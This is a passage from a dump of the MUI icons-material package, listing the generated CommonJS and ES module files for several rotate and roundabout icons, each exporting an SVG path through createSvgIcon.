0l4.59-4.59c.39-.39.39-1.02 0-1.41z\"\n}, \"1\")], 'Rotate90DegreesCwRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCwRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.86 18.46c2.65 3.45 7.11 4.37 10.74 2.79.61-.27.74-1.09.27-1.56l-.05-.05c-.29-.29-.72-.35-1.1-.19-2.96 1.24-6.59.37-8.58-2.62-1.58-2.37-1.55-5.37.05-7.73C6.6 7.03 8.8 6.03 11 6.03v1.76c0 .45.54.67.86.36l2.79-2.79c.2-.2.2-.51 0-.71l-2.8-2.79c-.31-.32-.85-.1-.85.35v1.8c-2.76 0-5.52 1.25-7.34 3.78-2.28 3.17-2.2 7.58.2 10.67\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.7 7.71a.996.996 0 0 0-1.41 0l-4.59 4.58c-.39.39-.39 1.02 0 1.41l4.59 4.59c.39.39 1.02.39 1.41 0l4.59-4.59c.39-.39.39-1.02 0-1.41z\"\n}, \"1\")], 'Rotate90DegreesCwRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCwSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.64 19.37c3.03 3.03 7.67 3.44 11.15 1.25l-1.46-1.46c-2.66 1.43-6.04 1.03-8.28-1.21-2.73-2.73-2.73-7.17 0-9.9C7.42 6.69 9.21 6.03 11 6.03V9l4-4-4-4v3.01c-2.3 0-4.61.87-6.36 2.63-3.52 3.51-3.52 9.21 0 12.73\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 7-6 6 6 6 6-6z\"\n}, \"1\")], 'Rotate90DegreesCwSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCwSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.64 19.37c3.03 3.03 7.67 3.44 11.15 1.25l-1.46-1.46c-2.66 1.43-6.04 1.03-8.28-1.21-2.73-2.73-2.73-7.17 0-9.9C7.42 6.69 9.21 6.03 11 6.03V9l4-4-4-4v3.01c-2.3 0-4.61.87-6.36 2.63-3.52 3.51-3.52 9.21 0 12.73\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 7-6 6 6 6 6-6z\"\n}, \"1\")], 'Rotate90DegreesCwSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCwTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.64 19.37c3.03 3.03 7.67 3.44 11.15 1.25l-1.46-1.46c-2.66 1.43-6.04 1.03-8.28-1.21-2.73-2.73-2.73-7.17 0-9.9C7.42 6.69 9.21 6.03 11 6.03V9l4-4-4-4v3.01c-2.3 0-4.61.87-6.36 2.63-3.52 3.51-3.52 9.21 0 12.73M11 13l6 6 6-6-6-6zm6 3.17L13.83 13 17 9.83 20.17 13z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.8174 12.9945 3.1749-3.175 3.1749 3.175-3.175 3.1749z\",\n  opacity: \".3\"\n}, \"1\")], 'Rotate90DegreesCwTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCwTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.64 19.37c3.03 3.03 7.67 3.44 11.15 1.25l-1.46-1.46c-2.66 1.43-6.04 1.03-8.28-1.21-2.73-2.73-2.73-7.17 0-9.9C7.42 6.69 9.21 6.03 11 6.03V9l4-4-4-4v3.01c-2.3 0-4.61.87-6.36 2.63-3.52 3.51-3.52 9.21 0 12.73M11 13l6 6 6-6-6-6zm6 3.17L13.83 13 17 9.83 20.17 13z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.8174 12.9945 3.1749-3.175 3.1749 3.175-3.175 3.1749z\",\n  opacity: \".3\"\n}, \"1\")], 'Rotate90DegreesCwTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.11 8.53 5.7 7.11C4.8 8.27 4.24 9.61 4.07 11h2.02c.14-.87.49-1.72 1.02-2.47M6.09 13H4.07c.17 1.39.72 2.73 1.62 3.89l1.41-1.42c-.52-.75-.87-1.59-1.01-2.47m1.01 5.32c1.16.9 2.51 1.44 3.9 1.61V17.9c-.87-.15-1.71-.49-2.46-1.03zM13 4.07V1L8.45 5.55 13 10V6.09c2.84.48 5 2.94 5 5.91s-2.16 5.43-5 5.91v2.02c3.95-.49 7-3.85 7-7.93s-3.05-7.44-7-7.93\"\n}), 'RotateLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.11 8.53 5.7 7.11C4.8 8.27 4.24 9.61 4.07 11h2.02c.14-.87.49-1.72 1.02-2.47M6.09 13H4.07c.17 1.39.72 2.73 1.62 3.89l1.41-1.42c-.52-.75-.87-1.59-1.01-2.47m1.01 5.32c1.16.9 2.51 1.44 3.9 1.61V17.9c-.87-.15-1.71-.49-2.46-1.03zM13 4.07V1L8.45 5.55 13 10V6.09c2.84.48 5 2.94 5 5.91s-2.16 5.43-5 5.91v2.02c3.95-.49 7-3.85 7-7.93s-3.05-7.44-7-7.93\"\n}), 'RotateLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.11 8.53 5.7 7.11C4.8 8.27 4.24 9.61 4.07 11h2.02c.14-.87.49-1.72 1.02-2.47M6.09 13H4.07c.17 1.39.72 2.73 1.62 3.89l1.41-1.42c-.52-.75-.87-1.59-1.01-2.47m1.01 5.32c1.16.9 2.51 1.44 3.9 1.61V17.9c-.87-.15-1.71-.49-2.46-1.03zM13 4.07V1L8.45 5.55 13 10V6.09c2.84.48 5 2.94 5 5.91s-2.16 5.43-5 5.91v2.02c3.95-.49 7-3.85 7-7.93s-3.05-7.44-7-7.93\"\n}), 'RotateLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.11 8.53 5.7 7.11C4.8 8.27 4.24 9.61 4.07 11h2.02c.14-.87.49-1.72 1.02-2.47M6.09 13H4.07c.17 1.39.72 2.73 1.62 3.89l1.41-1.42c-.52-.75-.87-1.59-1.01-2.47m1.01 5.32c1.16.9 2.51 1.44 3.9 1.61V17.9c-.87-.15-1.71-.49-2.46-1.03zM13 4.07V1L8.45 5.55 13 10V6.09c2.84.48 5 2.94 5 5.91s-2.16 5.43-5 5.91v2.02c3.95-.49 7-3.85 7-7.93s-3.05-7.44-7-7.93\"\n}), 'RotateLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.56 7.98C6.1 7.52 5.31 7.6 5 8.17c-.28.51-.5 1.03-.67 1.58-.19.63.31 1.25.96 1.25h.01c.43 0 .82-.28.94-.7q.18-.6.48-1.17c.22-.37.15-.84-.16-1.15M5.31 13h-.02c-.65 0-1.15.62-.96 1.25.16.54.38 1.07.66 1.58.31.57 1.11.66 1.57.2.3-.31.38-.77.17-1.15-.2-.37-.36-.76-.48-1.16-.12-.44-.51-.72-.94-.72m2.85 6.02q.765.42 1.59.66c.62.18 1.24-.32 1.24-.96v-.03c0-.43-.28-.82-.7-.94-.4-.12-.78-.28-1.15-.48-.38-.21-.86-.14-1.16.17l-.03.03c-.45.45-.36 1.24.21 1.55M13 4.07v-.66c0-.89-1.08-1.34-1.71-.71L9.17 4.83c-.4.4-.4 1.04 0 1.43l2.13 2.08c.63.62 1.7.17 1.7-.72V6.09c2.84.48 5 2.94 5 5.91 0 2.73-1.82 5.02-4.32 5.75-.41.12-.68.51-.68.94v.02c0 .65.61 1.14 1.23.96C17.57 18.71 20 15.64 20 12c0-4.08-3.05-7.44-7-7.93\"\n}), 'RotateLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.56 7.98C6.1 7.52 5.31 7.6 5 8.17c-.28.51-.5 1.03-.67 1.58-.19.63.31 1.25.96 1.25h.01c.43 0 .82-.28.94-.7q.18-.6.48-1.17c.22-.37.15-.84-.16-1.15M5.31 13h-.02c-.65 0-1.15.62-.96 1.25.16.54.38 1.07.66 1.58.31.57 1.11.66 1.57.2.3-.31.38-.77.17-1.15-.2-.37-.36-.76-.48-1.16-.12-.44-.51-.72-.94-.72m2.85 6.02q.765.42 1.59.66c.62.18 1.24-.32 1.24-.96v-.03c0-.43-.28-.82-.7-.94-.4-.12-.78-.28-1.15-.48-.38-.21-.86-.14-1.16.17l-.03.03c-.45.45-.36 1.24.21 1.55M13 4.07v-.66c0-.89-1.08-1.34-1.71-.71L9.17 4.83c-.4.4-.4 1.04 0 1.43l2.13 2.08c.63.62 1.7.17 1.7-.72V6.09c2.84.48 5 2.94 5 5.91 0 2.73-1.82 5.02-4.32 5.75-.41.12-.68.51-.68.94v.02c0 .65.61 1.14 1.23.96C17.57 18.71 20 15.64 20 12c0-4.08-3.05-7.44-7-7.93\"\n}), 'RotateLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.11 8.53 5.7 7.11C4.8 8.27 4.24 9.61 4.07 11h2.02c.14-.87.49-1.72 1.02-2.47M6.09 13H4.07c.17 1.39.72 2.73 1.62 3.89l1.41-1.42c-.52-.75-.87-1.59-1.01-2.47m1.01 5.32c1.16.9 2.51 1.44 3.9 1.61V17.9c-.87-.15-1.71-.49-2.46-1.03zM13 4.07V1L8.45 5.55 13 10V6.09c2.84.48 5 2.94 5 5.91s-2.16 5.43-5 5.91v2.02c3.95-.49 7-3.85 7-7.93s-3.05-7.44-7-7.93\"\n}), 'RotateLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.11 8.53 5.7 7.11C4.8 8.27 4.24 9.61 4.07 11h2.02c.14-.87.49-1.72 1.02-2.47M6.09 13H4.07c.17 1.39.72 2.73 1.62 3.89l1.41-1.42c-.52-.75-.87-1.59-1.01-2.47m1.01 5.32c1.16.9 2.51 1.44 3.9 1.61V17.9c-.87-.15-1.71-.49-2.46-1.03zM13 4.07V1L8.45 5.55 13 10V6.09c2.84.48 5 2.94 5 5.91s-2.16 5.43-5 5.91v2.02c3.95-.49 7-3.85 7-7.93s-3.05-7.44-7-7.93\"\n}), 'RotateLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 17.91v2.02c3.95-.49 7-3.85 7-7.93s-3.05-7.44-7-7.93V1L8.45 5.55 13 10V6.09c2.84.48 5 2.94 5 5.91s-2.16 5.43-5 5.91m-7.31-1.02 1.41-1.42c-.52-.75-.87-1.59-1.01-2.47H4.07c.17 1.39.72 2.73 1.62 3.89m1.42-8.36L5.7 7.11C4.8 8.27 4.24 9.61 4.07 11h2.02c.14-.87.49-1.72 1.02-2.47M11 17.9c-.87-.15-1.71-.49-2.46-1.03L7.1 18.32c1.16.9 2.51 1.44 3.9 1.61z\"\n}), 'RotateLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 17.91v2.02c3.95-.49 7-3.85 7-7.93s-3.05-7.44-7-7.93V1L8.45 5.55 13 10V6.09c2.84.48 5 2.94 5 5.91s-2.16 5.43-5 5.91m-7.31-1.02 1.41-1.42c-.52-.75-.87-1.59-1.01-2.47H4.07c.17 1.39.72 2.73 1.62 3.89m1.42-8.36L5.7 7.11C4.8 8.27 4.24 9.61 4.07 11h2.02c.14-.87.49-1.72 1.02-2.47M11 17.9c-.87-.15-1.71-.49-2.46-1.03L7.1 18.32c1.16.9 2.51 1.44 3.9 1.61z\"\n}), 'RotateLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateRight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.55 5.55 11 1v3.07C7.06 4.56 4 7.92 4 12s3.05 7.44 7 7.93v-2.02c-2.84-.48-5-2.94-5-5.91s2.16-5.43 5-5.91V10zM19.93 11c-.17-1.39-.72-2.73-1.62-3.89l-1.42 1.42c.54.75.88 1.6 1.02 2.47zM13 17.9v2.02c1.39-.17 2.74-.71 3.9-1.61l-1.44-1.44c-.75.54-1.59.89-2.46 1.03m3.89-2.42 1.42 1.41c.9-1.16 1.45-2.5 1.62-3.89h-2.02c-.14.87-.48 1.72-1.02 2.48\"\n}), 'RotateRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.55 5.55 11 1v3.07C7.06 4.56 4 7.92 4 12s3.05 7.44 7 7.93v-2.02c-2.84-.48-5-2.94-5-5.91s2.16-5.43 5-5.91V10zM19.93 11c-.17-1.39-.72-2.73-1.62-3.89l-1.42 1.42c.54.75.88 1.6 1.02 2.47zM13 17.9v2.02c1.39-.17 2.74-.71 3.9-1.61l-1.44-1.44c-.75.54-1.59.89-2.46 1.03m3.89-2.42 1.42 1.41c.9-1.16 1.45-2.5 1.62-3.89h-2.02c-.14.87-.48 1.72-1.02 2.48\"\n}), 'RotateRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.55 5.55 11 1v3.07C7.06 4.56 4 7.92 4 12s3.05 7.44 7 7.93v-2.02c-2.84-.48-5-2.94-5-5.91s2.16-5.43 5-5.91V10zM19.93 11c-.17-1.39-.72-2.73-1.62-3.89l-1.42 1.42c.54.75.88 1.6 1.02 2.47zM13 17.9v2.02c1.39-.17 2.74-.71 3.9-1.61l-1.44-1.44c-.75.54-1.59.89-2.46 1.03m3.89-2.42 1.42 1.41c.9-1.16 1.45-2.5 1.62-3.89h-2.02c-.14.87-.48 1.72-1.02 2.48\"\n}), 'RotateRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.55 5.55 11 1v3.07C7.06 4.56 4 7.92 4 12s3.05 7.44 7 7.93v-2.02c-2.84-.48-5-2.94-5-5.91s2.16-5.43 5-5.91V10zM19.93 11c-.17-1.39-.72-2.73-1.62-3.89l-1.42 1.42c.54.75.88 1.6 1.02 2.47zM13 17.9v2.02c1.39-.17 2.74-.71 3.9-1.61l-1.44-1.44c-.75.54-1.59.89-2.46 1.03m3.89-2.42 1.42 1.41c.9-1.16 1.45-2.5 1.62-3.89h-2.02c-.14.87-.48 1.72-1.02 2.48\"\n}), 'RotateRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.83 4.83 12.7 2.7c-.62-.62-1.7-.18-1.7.71v.66C7.06 4.56 4 7.92 4 12c0 3.64 2.43 6.71 5.77 7.68.62.18 1.23-.32 1.23-.96v-.03c0-.43-.27-.82-.68-.94C7.82 17.03 6 14.73 6 12c0-2.97 2.16-5.43 5-5.91v1.53c0 .89 1.07 1.33 1.7.71l2.13-2.08c.4-.38.4-1.02 0-1.42m4.84 4.93q-.24-.825-.66-1.59c-.31-.57-1.1-.66-1.56-.2l-.01.01c-.31.31-.38.78-.17 1.16.2.37.36.76.48 1.16.12.42.51.7.94.7h.02c.65 0 1.15-.62.96-1.24M13 18.68v.02c0 .65.62 1.14 1.24.96q.825-.24 1.59-.66c.57-.31.66-1.1.2-1.56l-.02-.02c-.31-.31-.78-.38-1.16-.17-.37.21-.76.37-1.16.49-.41.12-.69.51-.69.94m4.44-2.65c.46.46 1.25.37 1.56-.2.28-.51.5-1.04.67-1.59.18-.62-.31-1.24-.96-1.24h-.02c-.44 0-.82.28-.94.7q-.18.6-.48 1.17c-.21.38-.13.86.17 1.16\"\n}), 'RotateRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.83 4.83 12.7 2.7c-.62-.62-1.7-.18-1.7.71v.66C7.06 4.56 4 7.92 4 12c0 3.64 2.43 6.71 5.77 7.68.62.18 1.23-.32 1.23-.96v-.03c0-.43-.27-.82-.68-.94C7.82 17.03 6 14.73 6 12c0-2.97 2.16-5.43 5-5.91v1.53c0 .89 1.07 1.33 1.7.71l2.13-2.08c.4-.38.4-1.02 0-1.42m4.84 4.93q-.24-.825-.66-1.59c-.31-.57-1.1-.66-1.56-.2l-.01.01c-.31.31-.38.78-.17 1.16.2.37.36.76.48 1.16.12.42.51.7.94.7h.02c.65 0 1.15-.62.96-1.24M13 18.68v.02c0 .65.62 1.14 1.24.96q.825-.24 1.59-.66c.57-.31.66-1.1.2-1.56l-.02-.02c-.31-.31-.78-.38-1.16-.17-.37.21-.76.37-1.16.49-.41.12-.69.51-.69.94m4.44-2.65c.46.46 1.25.37 1.56-.2.28-.51.5-1.04.67-1.59.18-.62-.31-1.24-.96-1.24h-.02c-.44 0-.82.28-.94.7q-.18.6-.48 1.17c-.21.38-.13.86.17 1.16\"\n}), 'RotateRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.55 5.55 11 1v3.07C7.06 4.56 4 7.92 4 12s3.05 7.44 7 7.93v-2.02c-2.84-.48-5-2.94-5-5.91s2.16-5.43 5-5.91V10zM19.93 11c-.17-1.39-.72-2.73-1.62-3.89l-1.42 1.42c.54.75.88 1.6 1.02 2.47zM13 17.9v2.02c1.39-.17 2.74-.71 3.9-1.61l-1.44-1.44c-.75.54-1.59.89-2.46 1.03m3.89-2.42 1.42 1.41c.9-1.16 1.45-2.5 1.62-3.89h-2.02c-.14.87-.48 1.72-1.02 2.48\"\n}), 'RotateRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.55 5.55 11 1v3.07C7.06 4.56 4 7.92 4 12s3.05 7.44 7 7.93v-2.02c-2.84-.48-5-2.94-5-5.91s2.16-5.43 5-5.91V10zM19.93 11c-.17-1.39-.72-2.73-1.62-3.89l-1.42 1.42c.54.75.88 1.6 1.02 2.47zM13 17.9v2.02c1.39-.17 2.74-.71 3.9-1.61l-1.44-1.44c-.75.54-1.59.89-2.46 1.03m3.89-2.42 1.42 1.41c.9-1.16 1.45-2.5 1.62-3.89h-2.02c-.14.87-.48 1.72-1.02 2.48\"\n}), 'RotateRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.93 11c-.17-1.39-.72-2.73-1.62-3.89l-1.42 1.42c.54.75.88 1.6 1.02 2.47zM11 1v3.07C7.06 4.56 4 7.92 4 12s3.05 7.44 7 7.93v-2.02c-2.84-.48-5-2.94-5-5.91s2.16-5.43 5-5.91V10l4.55-4.45zm4.46 15.87c-.75.54-1.59.89-2.46 1.03v2.02c1.39-.17 2.74-.71 3.9-1.61zm2.85.02c.9-1.16 1.45-2.5 1.62-3.89h-2.02c-.14.87-.48 1.72-1.02 2.48z\"\n}), 'RotateRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RotateRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.93 11c-.17-1.39-.72-2.73-1.62-3.89l-1.42 1.42c.54.75.88 1.6 1.02 2.47zM11 1v3.07C7.06 4.56 4 7.92 4 12s3.05 7.44 7 7.93v-2.02c-2.84-.48-5-2.94-5-5.91s2.16-5.43 5-5.91V10l4.55-4.45zm4.46 15.87c-.75.54-1.59.89-2.46 1.03v2.02c1.39-.17 2.74-.71 3.9-1.61zm2.85.02c.9-1.16 1.45-2.5 1.62-3.89h-2.02c-.14.87-.48 1.72-1.02 2.48z\"\n}), 'RotateRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.08 8c.48-2.84 2.94-5 5.92-5 3.31 0 6 2.69 6 6 0 2.97-2.16 5.44-5 5.92V21h-2v-6.09c0-.98.71-1.8 1.67-1.97C18.56 12.63 20 10.98 20 9c0-2.21-1.79-4-4-4-1.98 0-3.63 1.44-3.94 3.33-.17.96-.99 1.67-1.97 1.67H5.83l1.59 1.59L6 13 2 9l4-4 1.41 1.41L5.83 8z\"\n}), 'RoundaboutLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.08 8c.48-2.84 2.94-5 5.92-5 3.31 0 6 2.69 6 6 0 2.97-2.16 5.44-5 5.92V21h-2v-6.09c0-.98.71-1.8 1.67-1.97C18.56 12.63 20 10.98 20 9c0-2.21-1.79-4-4-4-1.98 0-3.63 1.44-3.94 3.33-.17.96-.99 1.67-1.97 1.67H5.83l1.59 1.59L6 13 2 9l4-4 1.41 1.41L5.83 8z\"\n}), 'RoundaboutLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutLeftOutlined.js",
